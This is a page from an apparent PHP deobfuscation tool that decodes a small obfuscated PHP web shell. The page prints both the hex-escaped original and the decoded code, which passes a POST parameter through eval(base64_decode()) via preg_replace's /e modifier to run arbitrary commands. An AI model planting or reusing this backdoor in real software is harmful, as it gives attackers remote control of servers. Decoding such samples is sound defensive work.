Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (isset($_POST['mtq'])) { $mtq0 = $_POST['mtq']; $mtq1 = "\x65\x76\x61\..

Decoded Output download

<?php 
if (isset($_POST['mtq'])) { 
    $mtq0 = $_POST['mtq']; 
    $mtq1 = "eval(base64_decode('"; 
    $mtq2 = "'))"; 
    $mtq3 = $mtq1.$mtq0.$mtq2; 
    $mtq4 = "preg_replace"; 
    $mtq5 = "/.*/e"; 
    echo $mtq4($mtq5,$mtq3,''); 
    exit; 
} 
?>

Did this file decode correctly?

Original Code

<?php
if (isset($_POST['mtq'])) {
    $mtq0 = $_POST['mtq'];
    $mtq1 = "\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x27";
    $mtq2 = "\x27\x29\x29";
    $mtq3 = $mtq1.$mtq0.$mtq2;
    $mtq4 = "\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65";
    $mtq5 = "\x2f\x2e\x2a\x2f\x65";
    echo $mtq4($mtq5,$mtq3,'');
    exit;
}
?>

Function Calls

preg_replace 1

Variables

$mtq0 None
$mtq1 eval(base64_decode('
$mtq2 '))
$mtq3 eval(base64_decode('None'))
$mtq4 preg_replace
$mtq5 /.*/e

Stats

MD5 53e2ac2740f846a9beafbe1a0c0cc962
Eval Count 1
Decode Time 89 ms